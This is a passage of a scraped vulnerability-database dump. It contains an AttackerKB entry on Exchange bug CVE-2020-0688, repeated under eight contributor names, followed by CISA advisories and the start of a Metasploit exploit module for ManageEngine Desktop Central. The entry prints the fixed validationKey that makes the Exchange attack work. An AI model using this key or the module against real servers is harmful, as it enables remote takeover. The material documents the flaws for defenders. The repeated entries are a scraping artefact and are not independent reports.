`validationKey` is not randomized at installation time, resulting in Exchange servers using an attacker known value. This value can be used to submit crafted data to the server that passes validation checks and is ultimately deserialized which can result in code execution.\n\nThe important values from the write up are:\n \n \n validationkey = CB2721ABDAF8E9DC516D621D8B8BF13A2C9E8689A25303BF\n validationalg = SHA1\n \n\nI anticipate that the largest barrier to developing a PoC for this will be setting up and configuring a target environment. Exploiting this vulnerability requires authenticating as a user. The user must be a member of the `Domain Users` group and have a configured mailbox in Exchange.\n\nThe ViewState must be transferred within a GET request, POST can not be used. This introduces size restrictions on the OS command that can be executed.\n\n**theguly** at February 28, 2020 4:45pm UTC reported:\n\nThis is a serialization bug in the Exchange Control Panel component of the Microsoft Exchange server. The [write up](<https://www.zerodayinitiative.com/blog/2020/2/24/cve-2020-0688-remote-code-execution-on-microsoft-exchange-server-through-fixed-cryptographic-keys>) by ZDI outlines an exploitation path in grate detail how the vulnerability would be leveraged to gain command execution as `NT_AUTHORITY\\SYSTEM` on the server.\n\nThe root of the issue is that the `validationKey` is not randomized at installation time, resulting in Exchange servers using an attacker known value. This value can be used to submit crafted data to the server that passes validation checks and is ultimately deserialized which can result in code execution.\n\nThe important values from the write up are:\n \n \n validationkey = CB2721ABDAF8E9DC516D621D8B8BF13A2C9E8689A25303BF\n validationalg = SHA1\n \n\nI anticipate that the largest barrier to developing a PoC for this will be setting up and configuring a target environment. Exploiting this vulnerability requires authenticating as a user. The user must be a member of the `Domain Users` group and have a configured mailbox in Exchange.\n\nThe ViewState must be transferred within a GET request, POST can not be used. This introduces size restrictions on the OS command that can be executed.\n\n**xFreed0m** at March 10, 2020 2:34pm UTC reported:\n\nThis is a serialization bug in the Exchange Control Panel component of the Microsoft Exchange server. The [write up](<https://www.zerodayinitiative.com/blog/2020/2/24/cve-2020-0688-remote-code-execution-on-microsoft-exchange-server-through-fixed-cryptographic-keys>) by ZDI outlines an exploitation path in grate detail how the vulnerability would be leveraged to gain command execution as `NT_AUTHORITY\\SYSTEM` on the server.\n\nThe root of the issue is that the `validationKey` is not randomized at installation time, resulting in Exchange servers using an attacker known value. This value can be used to submit crafted data to the server that passes validation checks and is ultimately deserialized which can result in code execution.\n\nThe important values from the write up are:\n \n \n validationkey = CB2721ABDAF8E9DC516D621D8B8BF13A2C9E8689A25303BF\n validationalg = SHA1\n \n\nI anticipate that the largest barrier to developing a PoC for this will be setting up and configuring a target environment. Exploiting this vulnerability requires authenticating as a user. The user must be a member of the `Domain Users` group and have a configured mailbox in Exchange.\n\nThe ViewState must be transferred within a GET request, POST can not be used. This introduces size restrictions on the OS command that can be executed.\n\n**todb-r7** at April 09, 2020 2:08pm UTC reported:\n\nThis is a serialization bug in the Exchange Control Panel component of the Microsoft Exchange server. The [write up](<https://www.zerodayinitiative.com/blog/2020/2/24/cve-2020-0688-remote-code-execution-on-microsoft-exchange-server-through-fixed-cryptographic-keys>) by ZDI outlines an exploitation path in grate detail how the vulnerability would be leveraged to gain command execution as `NT_AUTHORITY\\SYSTEM` on the server.\n\nThe root of the issue is that the `validationKey` is not randomized at installation time, resulting in Exchange servers using an attacker known value. This value can be used to submit crafted data to the server that passes validation checks and is ultimately deserialized which can result in code execution.\n\nThe important values from the write up are:\n \n \n validationkey = CB2721ABDAF8E9DC516D621D8B8BF13A2C9E8689A25303BF\n validationalg = SHA1\n \n\nI anticipate that the largest barrier to developing a PoC for this will be setting up and configuring a target environment. Exploiting this vulnerability requires authenticating as a user. The user must be a member of the `Domain Users` group and have a configured mailbox in Exchange.\n\nThe ViewState must be transferred within a GET request, POST can not be used. This introduces size restrictions on the OS command that can be executed.\n\n**ccondon-r7** at March 06, 2020 11:31pm UTC reported:\n\nThis is a serialization bug in the Exchange Control Panel component of the Microsoft Exchange server. The [write up](<https://www.zerodayinitiative.com/blog/2020/2/24/cve-2020-0688-remote-code-execution-on-microsoft-exchange-server-through-fixed-cryptographic-keys>) by ZDI outlines an exploitation path in grate detail how the vulnerability would be leveraged to gain command execution as `NT_AUTHORITY\\SYSTEM` on the server.\n\nThe root of the issue is that the `validationKey` is not randomized at installation time, resulting in Exchange servers using an attacker known value. This value can be used to submit crafted data to the server that passes validation checks and is ultimately deserialized which can result in code execution.\n\nThe important values from the write up are:\n \n \n validationkey = CB2721ABDAF8E9DC516D621D8B8BF13A2C9E8689A25303BF\n validationalg = SHA1\n \n\nI anticipate that the largest barrier to developing a PoC for this will be setting up and configuring a target environment. Exploiting this vulnerability requires authenticating as a user. The user must be a member of the `Domain Users` group and have a configured mailbox in Exchange.\n\nThe ViewState must be transferred within a GET request, POST can not be used. This introduces size restrictions on the OS command that can be executed.\n\n**tsellers-r7** at March 05, 2020 10:29pm UTC reported:\n\nThis is a serialization bug in the Exchange Control Panel component of the Microsoft Exchange server. The [write up](<https://www.zerodayinitiative.com/blog/2020/2/24/cve-2020-0688-remote-code-execution-on-microsoft-exchange-server-through-fixed-cryptographic-keys>) by ZDI outlines an exploitation path in grate detail how the vulnerability would be leveraged to gain command execution as `NT_AUTHORITY\\SYSTEM` on the server.\n\nThe root of the issue is that the `validationKey` is not randomized at installation time, resulting in Exchange servers using an attacker known value. This value can be used to submit crafted data to the server that passes validation checks and is ultimately deserialized which can result in code execution.\n\nThe important values from the write up are:\n \n \n validationkey = CB2721ABDAF8E9DC516D621D8B8BF13A2C9E8689A25303BF\n validationalg = SHA1\n \n\nI anticipate that the largest barrier to developing a PoC for this will be setting up and configuring a target environment. Exploiting this vulnerability requires authenticating as a user. The user must be a member of the `Domain Users` group and have a configured mailbox in Exchange.\n\nThe ViewState must be transferred within a GET request, POST can not be used. This introduces size restrictions on the OS command that can be executed.\n\n**gwillcox-r7** at October 20, 2020 6:47pm UTC reported:\n\nThis is a serialization bug in the Exchange Control Panel component of the Microsoft Exchange server. The [write up](<https://www.zerodayinitiative.com/blog/2020/2/24/cve-2020-0688-remote-code-execution-on-microsoft-exchange-server-through-fixed-cryptographic-keys>) by ZDI outlines an exploitation path in grate detail how the vulnerability would be leveraged to gain command execution as `NT_AUTHORITY\\SYSTEM` on the server.\n\nThe root of the issue is that the `validationKey` is not randomized at installation time, resulting in Exchange servers using an attacker known value. This value can be used to submit crafted data to the server that passes validation checks and is ultimately deserialized which can result in code execution.\n\nThe important values from the write up are:\n \n \n validationkey = CB2721ABDAF8E9DC516D621D8B8BF13A2C9E8689A25303BF\n validationalg = SHA1\n \n\nI anticipate that the largest barrier to developing a PoC for this will be setting up and configuring a target environment. Exploiting this vulnerability requires authenticating as a user. The user must be a member of the `Domain Users` group and have a configured mailbox in Exchange.\n\nThe ViewState must be transferred within a GET request, POST can not be used. This introduces size restrictions on the OS command that can be executed.\n\n**jbarto** at February 28, 2020 4:51pm UTC reported:\n\nThis is a serialization bug in the Exchange Control Panel component of the Microsoft Exchange server. The [write up](<https://www.zerodayinitiative.com/blog/2020/2/24/cve-2020-0688-remote-code-execution-on-microsoft-exchange-server-through-fixed-cryptographic-keys>) by ZDI outlines an exploitation path in grate detail how the vulnerability would be leveraged to gain command execution as `NT_AUTHORITY\\SYSTEM` on the server.\n\nThe root of the issue is that the `validationKey` is not randomized at installation time, resulting in Exchange servers using an attacker known value. This value can be used to submit crafted data to the server that passes validation checks and is ultimately deserialized which can result in code execution.\n\nThe important values from the write up are:\n \n \n validationkey = CB2721ABDAF8E9DC516D621D8B8BF13A2C9E8689A25303BF\n validationalg = SHA1\n \n\nI anticipate that the largest barrier to developing a PoC for this will be setting up and configuring a target environment. Exploiting this vulnerability requires authenticating as a user. The user must be a member of the `Domain Users` group and have a configured mailbox in Exchange.\n\nThe ViewState must be transferred within a GET request, POST can not be used. This introduces size restrictions on the OS command that can be executed.\n\nAssessed Attacker Value: 5 \nAssessed Attacker Value: 5Assessed Attacker Value: 4\n", "cvss3": {"exploitabilityScore": 2.8, "cvssV3": {"baseSeverity": "HIGH", "confidentialityImpact": "HIGH", "attackComplexity": "LOW", "scope": "UNCHANGED", "attackVector": "NETWORK", "availabilityImpact": "HIGH", "integrityImpact": "HIGH", "privilegesRequired": "LOW", "baseScore": 8.8, "vectorString": "CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H", "version": "3.1", "userInteraction": "NONE"}, "impactScore": 5.9}, "published": "2020-02-11T00:00:00", "type": "attackerkb", "title": "CVE-2020-0688 - Exchange Control Panel Viewstate Deserialization Bug", "bulletinFamily": "info", "cvss2": {"severity": "HIGH", "exploitabilityScore": 8.0, "obtainAllPrivilege": false, "userInteractionRequired": false, "obtainOtherPrivilege": false, "cvssV2": {"accessComplexity": "LOW", "confidentialityImpact": "COMPLETE", "availabilityImpact": "COMPLETE", "integrityImpact": "COMPLETE", "baseScore": 9.0, "vectorString": "AV:N/AC:L/Au:S/C:C/I:C/A:C", "version": "2.0", "accessVector": "NETWORK", "authentication": "SINGLE"}, "impactScore": 10.0, "acInsufInfo": false, "obtainUserPrivilege": false}, "cvelist": ["CVE-2020-0688"], "modified": "2021-07-27T00:00:00", "id": "AKB:B8A2FA01-8796-4335-8BF4-45147E14AFC9", "href": "https://attackerkb.com/topics/XbYcn2Mckk/cve-2020-0688---exchange-control-panel-viewstate-deserialization-bug", "cvss": {"score": 9.0, "vector": "AV:N/AC:L/Au:S/C:C/I:C/A:C"}}], "cisa": [{"lastseen": "2021-02-24T18:06:49", "description": "Zoho has released a security update on a vulnerability (CVE-2020-10189) affecting ManageEngine Desktop Central build 10.0.473 and below. A remote attacker could exploit this vulnerability to take control of an affected system. ManageEngine Desktop Central is a unified endpoint management solution that helps companies, including managed service providers (MSPs), to control servers, laptops, smartphones, and tablets from a central location.\n\nThe Cybersecurity and Infrastructure Security Agency encourages users and administrators to review the [Zoho security update](<https://www.manageengine.com/products/desktop-central/remote-code-execution-vulnerability.html>) for more information and apply the [patch](<https://www.manageengine.com/products/desktop-central/service-packs.html>).\n\nThis product is provided subject to this Notification and this [Privacy & Use](<https://www.dhs.gov/privacy-policy>) policy.\n\n**Please share your thoughts.**\n\nWe recently updated our anonymous [product survey](<https://www.surveymonkey.com/r/CISA-cyber-survey?product=https://us-cert.cisa.gov/ncas/current-activity/2020/03/06/zoho-releases-security-update-manageengine-desktop-central>); we'd welcome your feedback.\n", "edition": 2, "cvss3": {"exploitabilityScore": 3.9, "cvssV3": {"baseSeverity": "CRITICAL", "confidentialityImpact": "HIGH", "attackComplexity": "LOW", "scope": "UNCHANGED", "attackVector": "NETWORK", "availabilityImpact": "HIGH", "integrityImpact": "HIGH", "baseScore": 9.8, "privilegesRequired": "NONE", "vectorString": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H", "userInteraction": "NONE", "version": "3.1"}, "impactScore": 5.9}, "published": "2020-03-06T00:00:00", "type": "cisa", "title": "Zoho Releases Security Update on ManageEngine Desktop Central", "bulletinFamily": "info", "cvss2": {"severity": "HIGH", "exploitabilityScore": 10.0, "obtainAllPrivilege": false, "userInteractionRequired": false, "obtainOtherPrivilege": false, "cvssV2": {"accessComplexity": "LOW", "confidentialityImpact": "COMPLETE", "availabilityImpact": "COMPLETE", "integrityImpact": "COMPLETE", "baseScore": 10.0, "vectorString": "AV:N/AC:L/Au:N/C:C/I:C/A:C", "version": "2.0", "accessVector": "NETWORK", "authentication": "NONE"}, "acInsufInfo": false, "impactScore": 10.0, "obtainUserPrivilege": false}, "cvelist": ["CVE-2020-10189"], "modified": "2020-03-06T00:00:00", "id": "CISA:5BA27AECCB94A75E13B4091A8F85AD87", "href": "https://us-cert.cisa.gov/ncas/current-activity/2020/03/06/zoho-releases-security-update-manageengine-desktop-central", "cvss": {"score": 10.0, "vector": "AV:N/AC:L/Au:N/C:C/I:C/A:C"}}, {"lastseen": "2021-09-29T18:14:37", "description": "CISA, the National Security Agency (NSA), and the Federal Bureau of Investigation (FBI) have released a [Joint Cybersecurity Advisory (CSA)](<https://media.defense.gov/2021/Apr/15/2002621240/-1/-1/0/CSA_SVR_TARGETS_US_ALLIES_UOO13234021.PDF/CSA_SVR_TARGETS_US_ALLIES_UOO13234021.PDF>) on Russian Foreign Intelligence Service (SVR) actors scanning for and exploiting vulnerabilities to compromise U.S. and allied networks, including national security and government-related systems.\n\nSpecifically, SVR actors are targeting and exploiting the following vulnerabilities:\n\n * [CVE-2018-13379 Fortinet FortiGate VPN](<https://nvd.nist.gov/vuln/detail/CVE-2018-13379>)\n * [CVE-2019-9670 Synacor Zimbra Collaboration Suite](<https://nvd.nist.gov/vuln/detail/CVE-2019-9670>)\n * [CVE-2019-11510 Pulse Secure Pulse Connect Secure VPN](<https://nvd.nist.gov/vuln/detail/CVE-2019-11510>)\n * [CVE-2019-19781 Citrix Application Delivery Controller and Gateway](<https://nvd.nist.gov/vuln/detail/CVE-2019-19781>)\n * [CVE-2020-4006 VMware Workspace ONE Access](<https://nvd.nist.gov/vuln/detail/CVE-2020-4006>)\n\nAdditionally the White House has released a [statement](<https://www.whitehouse.gov/briefing-room/statements-releases/2021/04/15/fact-sheet-imposing-costs-for-harmful-foreign-activities-by-the-russian-government/>) formally attributing this activity and the SolarWinds supply chain compromise to SVR actors. CISA has updated the following products to reflect this attribution:\n\n * [Alert AA20-352A: APT Compromise of Government Agencies, Critical Infrastructure, and Private Sector Organizations](<https://us-cert.cisa.gov/ncas/alerts/aa20-352a>)\n * [Alert AA21-008A: Detecting Post-Compromise Threat Activity in Microsoft Cloud Environments](<https://us-cert.cisa.gov/ncas/alerts/aa21-008a>)\n * [Alert AA21-077A: Detecting Post-Compromise Threat Activity Using the CHIRP IOC Detection Tool](<https://us-cert.cisa.gov/ncas/alerts/aa21-077a>)\n * [Malware Analysis Report AR21-039A: MAR-10318845-1.v1 - SUNBURST](<https://us-cert.cisa.gov/ncas/analysis-reports/ar21-039a>)\n * [Malware Analysis Report AR21-039B: MAR-10320115-1.v1 - TEARDROP](<https://us-cert.cisa.gov/ncas/analysis-reports/ar21-039b>)\n * Table: SolarWinds and Active Directory/M365 Compromise - Detecting APT Activity from Known TTPs\n * [Remediating Networks Affected by the SolarWinds and Active Directory/M365 Compromise web page](<https://us-cert.cisa.gov/remediating-apt-compromised-networks>)\n * [Emergency Directive 21-01: Mitigate SolarWinds Orion Code Compromise](<https://cyber.dhs.gov/ed/21-01/>)\n\nCISA strongly encourages users and administrators to review [Joint CSA: Russian SVR Targets U.S. and Allied Networks](<https://www.nsa.gov/News-Features/Feature-Stories/Article-View/Article/2573391/russian-foreign-intelligence-service-exploiting-five-publicly-known-vulnerabili/>) for SVR tactics, techniques, and procedures, as well as mitigation strategies.\n\nThis product is provided subject to this Notification and this [Privacy & Use](<https://www.dhs.gov/privacy-policy>) policy.\n\n**Please share your thoughts.**\n\nWe recently updated our anonymous [product survey](<https://www.surveymonkey.com/r/CISA-cyber-survey?product=https://us-cert.cisa.gov/ncas/current-activity/2021/04/15/nsa-cisa-fbi-joint-advisory-russian-svr-targeting-us-and-allied>); we'd welcome your feedback.\n", "cvss3": {"exploitabilityScore": 3.9, "cvssV3": {"baseSeverity": "CRITICAL", "confidentialityImpact": "HIGH", "attackComplexity": "LOW", "scope": "CHANGED", "attackVector": "NETWORK", "availabilityImpact": "HIGH", "integrityImpact": "HIGH", "baseScore": 10.0, "privilegesRequired": "NONE", "vectorString": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:C/C:H/I:H/A:H", "userInteraction": "NONE", "version": "3.1"}, "impactScore": 6.0}, "published": "2021-04-15T00:00:00", "type": "cisa", "title": "NSA-CISA-FBI Joint Advisory on Russian SVR Targeting U.S. and Allied Networks", "bulletinFamily": "info", "cvss2": {"severity": "HIGH", "exploitabilityScore": 8.0, "obtainAllPrivilege": false, "userInteractionRequired": false, "obtainOtherPrivilege": false, "cvssV2": {"accessComplexity": "LOW", "confidentialityImpact": "COMPLETE", "availabilityImpact": "COMPLETE", "integrityImpact": "COMPLETE", "baseScore": 9.0, "vectorString": "AV:N/AC:L/Au:S/C:C/I:C/A:C", "version": "2.0", "accessVector": "NETWORK", "authentication": "SINGLE"}, "acInsufInfo": false, "impactScore": 10.0, "obtainUserPrivilege": false}, "cvelist": ["CVE-2018-13379", "CVE-2019-11510", "CVE-2019-19781", "CVE-2019-9670", "CVE-2020-4006"], "modified": "2021-09-28T00:00:00", "id": "CISA:E46D6B22DC3B3F8B062C07BD8EA4CB7C", "href": "https://us-cert.cisa.gov/ncas/current-activity/2021/04/15/nsa-cisa-fbi-joint-advisory-russian-svr-targeting-us-and-allied", "cvss": {"score": 9.0, "vector": "AV:N/AC:L/Au:S/C:C/I:C/A:C"}}, {"lastseen": "2021-02-24T18:06:51", "description": "Citrix has released an article with updates on CVE-2019-19781, a vulnerability affecting Citrix Application Delivery Controller (ADC) and Citrix Gateway. This vulnerability also affects Citrix SD-WAN WANOP product versions 10.2.6 and version 11.0.3. The article includes updated mitigations for Citrix ADC and Citrix Gateway Release 12.1 build 50.28. An attacker could exploit CVE-2019-19781 to take control of an affected system. Citrix plans to begin releasing security updates for affected software starting January 20, 2020.\n\nThe Cybersecurity and Infrastructure Security Agency (CISA) recommends users and administrators:\n\n * Review the Citrix article on [updates on Citrix ADC, Citrix Gateway vulnerability](<https://www.citrix.com/blogs/2020/01/17/citrix-updates-on-citrix-adc-citrix-gateway-vulnerability/>), published January 17, 2020;\n * See Citrix Security Bulletin [CTX267027 \u2013 Vulnerability in Citrix Application Delivery Controller, Citrix Gateway, and Citrix SD-WAN WANOP appliance](<https://support.citrix.com/article/CTX267027>);\n * Apply the recommended mitigations in [CTX267679 \u2013 Mitigation Steps for CVE-2019-19781](<https://support.citrix.com/article/CTX267679>); and\n * Verify the successful application of the above mitigations by using the tool in [CTX269180 \u2013 CVE-2019-19781 \u2013 Verification ToolTest](<https://support.citrix.com/article/CTX269180>).\n\nThis product is provided subject to this Notification and this [Privacy & Use](<https://www.dhs.gov/privacy-policy>) policy.\n\n**Please share your thoughts.**\n\nWe recently updated our anonymous [product survey](<https://www.surveymonkey.com/r/CISA-cyber-survey?product=https://us-cert.cisa.gov/ncas/current-activity/2020/01/17/citrix-adds-sd-wan-wanop-updated-mitigations-cve-2019-19781>); we'd welcome your feedback.\n", "edition": 2, "cvss3": {"exploitabilityScore": 3.9, "cvssV3": {"baseSeverity": "CRITICAL", "confidentialityImpact": "HIGH", "attackComplexity": "LOW", "scope": "UNCHANGED", "attackVector": "NETWORK", "availabilityImpact": "HIGH", "integrityImpact": "HIGH", "baseScore": 9.8, "privilegesRequired": "NONE", "vectorString": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H", "userInteraction": "NONE", "version": "3.1"}, "impactScore": 5.9}, "published": "2020-01-17T00:00:00", "type": "cisa", "title": "Citrix Adds SD-WAN WANOP, Updated Mitigations to CVE-2019-19781 Advisory", "bulletinFamily": "info", "cvss2": {"severity": "HIGH", "exploitabilityScore": 10.0, "obtainAllPrivilege": false, "userInteractionRequired": false, "obtainOtherPrivilege": false, "cvssV2": {"accessComplexity": "LOW", "confidentialityImpact": "PARTIAL", "availabilityImpact": "PARTIAL", "integrityImpact": "PARTIAL", "baseScore": 7.5, "vectorString": "AV:N/AC:L/Au:N/C:P/I:P/A:P", "version": "2.0", "accessVector": "NETWORK", "authentication": "NONE"}, "acInsufInfo": false, "impactScore": 6.4, "obtainUserPrivilege": false}, "cvelist": ["CVE-2019-19781"], "modified": "2020-01-17T00:00:00", "id": "CISA:134C272F26FB005321448C648224EB02", "href": "https://us-cert.cisa.gov/ncas/current-activity/2020/01/17/citrix-adds-sd-wan-wanop-updated-mitigations-cve-2019-19781", "cvss": {"score": 7.5, "vector": "AV:N/AC:L/Au:N/C:P/I:P/A:P"}}, {"lastseen": "2021-02-24T18:06:50", "description": "Citrix has released security updates to address the CVE-2019-19781 vulnerability in Citrix SD-WAN WANOP. An attacker could exploit this vulnerability to take control of an affected system. Citrix has also released an Indicators of Compromise Scanner that aims to identify evidence of successful exploitation of CVE-2019-19781.\n\nThe Cybersecurity and Infrastructure Security Agency (CISA) strongly recommends users and administrators review the Citrix Security Bulletin [CTX267027](<https://support.citrix.com/article/CTX267027>) and apply the necessary updates. CISA also recommends users and administrators:\n\n * Run the [Indicators of Compromise Scanner](<https://www.citrix.com/blogs/2020/01/22/citrix-and-fireeye-mandiant-share-forensic-tool-for-cve-2019-19781/>);\n * Review the Citrix article on [CVE-2019-19781: Fixes now available for Citrix SD-WAN WANOP](<https://www.citrix.com/blogs/2020/01/22/update-on-cve-2019-19781-fixes-now-available-for-citrix-sd-wan-wanop/>), published January 23, 2020; and\n * Review CISA\u2019s Activity Alert on [Critical Vulnerability in Citrix Application Delivery Controller, Gateway, and SD-WAN WANOP](<https://www.us-cert.gov/ncas/alerts/aa20-020a>).\n\nThis product is provided subject to this Notification and this [Privacy & Use](<https://www.dhs.gov/privacy-policy>) policy.\n\n**Please share your thoughts.**\n\nWe recently updated our anonymous [product survey](<https://www.surveymonkey.com/r/CISA-cyber-survey?product=https://us-cert.cisa.gov/ncas/current-activity/2020/01/23/citrix-releases-security-updates-sd-wan-wanop>); we'd welcome your feedback.\n", "edition": 2, "cvss3": {"exploitabilityScore": 3.9, "cvssV3": {"baseSeverity": "CRITICAL", "confidentialityImpact": "HIGH", "attackComplexity": "LOW", "scope": "UNCHANGED", "attackVector": "NETWORK", "availabilityImpact": "HIGH", "integrityImpact": "HIGH", "baseScore": 9.8, "privilegesRequired": "NONE", "vectorString": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H", "userInteraction": "NONE", "version": "3.1"}, "impactScore": 5.9}, "published": "2020-01-23T00:00:00", "type": "cisa", "title": "Citrix Releases Security Updates for SD-WAN WANOP", "bulletinFamily": "info", "cvss2": {"severity": "HIGH", "exploitabilityScore": 10.0, "obtainAllPrivilege": false, "userInteractionRequired": false, "obtainOtherPrivilege": false, "cvssV2": {"accessComplexity": "LOW", "confidentialityImpact": "PARTIAL", "availabilityImpact": "PARTIAL", "integrityImpact": "PARTIAL", "baseScore": 7.5, "vectorString": "AV:N/AC:L/Au:N/C:P/I:P/A:P", "version": "2.0", "accessVector": "NETWORK", "authentication": "NONE"}, "acInsufInfo": false, "impactScore": 6.4, "obtainUserPrivilege": false}, "cvelist": ["CVE-2019-19781"], "modified": "2020-01-23T00:00:00", "id": "CISA:8AA4B67E8B2150628DAEB8C3A98C4BEC", "href": "https://us-cert.cisa.gov/ncas/current-activity/2020/01/23/citrix-releases-security-updates-sd-wan-wanop", "cvss": {"score": 7.5, "vector": "AV:N/AC:L/Au:N/C:P/I:P/A:P"}}, {"lastseen": "2021-02-24T18:06:54", "description": "The Cybersecurity and Infrastructure Security Agency (CISA) has released a [utility](<https://github.com/cisagov/check-cve-2019-19781>) that enables users and administrators to test whether their Citrix Application Delivery Controller (ADC) and Citrix Gateway software is susceptible to the CVE-2019-19781 vulnerability. According to Citrix Security Bulletin [CTX267027](<https://support.citrix.com/article/CTX267027>), beginning on January 20, 2020, Citrix will be releasing new versions of Citrix ADC and Citrix Gateway that will patch CVE-2019-19781.\n\nCISA strongly advises affected organizations to review CERT/CC\u2019s Vulnerability Note [VU#619785](<https://www.kb.cert.org/vuls/id/619785/>) and Citrix Security Bulletin [CTX267027 ](<https://support.citrix.com/article/CTX267027>)and apply the mitigations until Citrix releases new versions of the software.\n\nThis product is provided subject to this Notification and this [Privacy & Use](<https://www.dhs.gov/privacy-policy>) policy.\n\n**Please share your thoughts.**\n\nWe recently updated our anonymous [product survey](<https://www.surveymonkey.com/r/CISA-cyber-survey?product=https://us-cert.cisa.gov/ncas/current-activity/2020/01/13/cisa-releases-test-citrix-adc-and-gateway-vulnerability>); we'd welcome your feedback.\n", "edition": 2, "cvss3": {"exploitabilityScore": 3.9, "cvssV3": {"baseSeverity": "CRITICAL", "confidentialityImpact": "HIGH", "attackComplexity": "LOW", "scope": "UNCHANGED", "attackVector": "NETWORK", "availabilityImpact": "HIGH", "integrityImpact": "HIGH", "baseScore": 9.8, "privilegesRequired": "NONE", "vectorString": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H", "userInteraction": "NONE", "version": "3.1"}, "impactScore": 5.9}, "published": "2020-01-13T00:00:00", "type": "cisa", "title": "CISA Releases Test for Citrix ADC and Gateway Vulnerability", "bulletinFamily": "info", "cvss2": {"severity": "HIGH", "exploitabilityScore": 10.0, "obtainAllPrivilege": false, "userInteractionRequired": false, "obtainOtherPrivilege": false, "cvssV2": {"accessComplexity": "LOW", "confidentialityImpact": "PARTIAL", "availabilityImpact": "PARTIAL", "integrityImpact": "PARTIAL", "baseScore": 7.5, "vectorString": "AV:N/AC:L/Au:N/C:P/I:P/A:P", "version": "2.0", "accessVector": "NETWORK", "authentication": "NONE"}, "acInsufInfo": false, "impactScore": 6.4, "obtainUserPrivilege": false}, "cvelist": ["CVE-2019-19781"], "modified": "2020-01-13T00:00:00", "id": "CISA:661993843C9F9A838ADA8B8B8B9412D1", "href": "https://us-cert.cisa.gov/ncas/current-activity/2020/01/13/cisa-releases-test-citrix-adc-and-gateway-vulnerability", "cvss": {"score": 7.5, "vector": "AV:N/AC:L/Au:N/C:P/I:P/A:P"}}, {"lastseen": "2021-02-24T18:06:52", "description": "Microsoft Exchange Servers affected by a remote code execution vulnerability, known as CVE-2020-0688, continue to be an attractive target for malicious cyber actors. A remote attacker can exploit this vulnerability to take control of an affected system that is unpatched.\n\nAlthough Microsoft disclosed the vulnerability and provided software patches for the various affected products in February 2020, advanced persistent threat actors are targeting unpatched servers, according to recent open-source reports. The Cybersecurity and Infrastructure Security Agency (CISA) urges users and administrators review [Microsoft\u2019s Advisory](<https://portal.msrc.microsoft.com/en-US/security-guidance/advisory/CVE-2020-0688>) and the [National Security Agency\u2019s tweet](<https://twitter.com/NSAGov/status/1236099750610563074>) on CVE-2020-0688 for more information and apply the necessary patches as soon as possible.\n\nThis product is provided subject to this Notification and this [Privacy & Use](<https://www.dhs.gov/privacy-policy>) policy.\n\n**Please share your thoughts.**\n\nWe recently updated our anonymous [product survey](<https://www.surveymonkey.com/r/CISA-cyber-survey?product=https://us-cert.cisa.gov/ncas/current-activity/2020/03/10/unpatched-microsoft-exchange-servers-vulnerable-cve-2020-0688>); we'd welcome your feedback.\n", "edition": 2, "cvss3": {"exploitabilityScore": 2.8, "cvssV3": {"baseSeverity": "HIGH", "confidentialityImpact": "HIGH", "attackComplexity": "LOW", "scope": "UNCHANGED", "attackVector": "NETWORK", "availabilityImpact": "HIGH", "integrityImpact": "HIGH", "baseScore": 8.8, "privilegesRequired": "LOW", "vectorString": "CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H", "userInteraction": "NONE", "version": "3.1"}, "impactScore": 5.9}, "published": "2020-03-10T00:00:00", "type": "cisa", "title": "Unpatched Microsoft Exchange Servers Vulnerable to CVE-2020-0688", "bulletinFamily": "info", "cvss2": {"severity": "HIGH", "exploitabilityScore": 8.0, "obtainAllPrivilege": false, "userInteractionRequired": false, "obtainOtherPrivilege": false, "cvssV2": {"accessComplexity": "LOW", "confidentialityImpact": "COMPLETE", "availabilityImpact": "COMPLETE", "integrityImpact": "COMPLETE", "baseScore": 9.0, "vectorString": "AV:N/AC:L/Au:S/C:C/I:C/A:C", "version": "2.0", "accessVector": "NETWORK", "authentication": "SINGLE"}, "acInsufInfo": false, "impactScore": 10.0, "obtainUserPrivilege": false}, "cvelist": ["CVE-2020-0688"], "modified": "2020-03-10T00:00:00", "id": "CISA:18E5825084F7681AD375ACB5B1270280", "href": "https://us-cert.cisa.gov/ncas/current-activity/2020/03/10/unpatched-microsoft-exchange-servers-vulnerable-cve-2020-0688", "cvss": {"score": 9.0, "vector": "AV:N/AC:L/Au:S/C:C/I:C/A:C"}}], "packetstorm": [{"lastseen": "2020-03-14T22:50:18", "description": "", "cvss3": {}, "published": "2020-03-14T00:00:00", "type": "packetstorm", "title": "ManageEngine Desktop Central Java Deserialization", "bulletinFamily": "exploit", "cvss2": {}, "cvelist": ["CVE-2020-10189"], "modified": "2020-03-14T00:00:00", "id": "PACKETSTORM:156730", "href": "https://packetstormsecurity.com/files/156730/ManageEngine-Desktop-Central-Java-Deserialization.html", "sourceData": "`## \n# This module requires Metasploit: https://metasploit.com/download \n# Current source: https://github.com/rapid7/metasploit-framework \n## \n \nclass MetasploitModule < Msf::Exploit::Remote \n \nRank = ExcellentRanking \n \ninclude Msf::Exploit::Remote::HttpClient \ninclude Msf::Exploit::Remote::AutoCheck \ninclude Msf::Exploit::CmdStager \ninclude Msf::Exploit::Powershell \ninclude Msf::Exploit::FileDropper \n \ndef initialize(info = {}) \nsuper(update_info(info, \n'Name' => 'ManageEngine Desktop Central Java Deserialization', \n'Description' => %q{ \nThis module exploits a Java deserialization vulnerability in the \ngetChartImage() method from the FileStorage class within ManageEngine \nDesktop Central versions < 10.0.474. Tested against 10.0.465 x64. \n \n\"The short-term fix for the arbitrary file upload vulnerability was \nreleased in build 10.0.474 on January 20, 2020. In continuation of that, \nthe complete fix for the remote code execution vulnerability is now \navailable in build 10.0.479.\" \n}, \n'Author' => [ \n'mr_me', # Discovery and exploit \n'wvu' # Module \n], \n'References' => [ \n['CVE', '2020-10189'], \n['URL', 'https://srcincite.io/advisories/src-2020-0011/'], \n['URL', 'https://srcincite.io/pocs/src-2020-0011.py.txt'], \n['URL', 'https://twitter.com/steventseeley/status/1235635108498948096'], \n['URL', 'https://www.manageengine.com/products/desktop-central/remote-code-execution-vulnerability.html'] \n], \n'DisclosureDate' => '2020-03-05', # 0day release \n'License' => MSF_LICENSE, \n'Platform' => 'windows', \n'Arch' => [ARCH_CMD, ARCH_X86, ARCH_X64], \n'Privileged' => true, \n'Targets' => [ \n['Windows 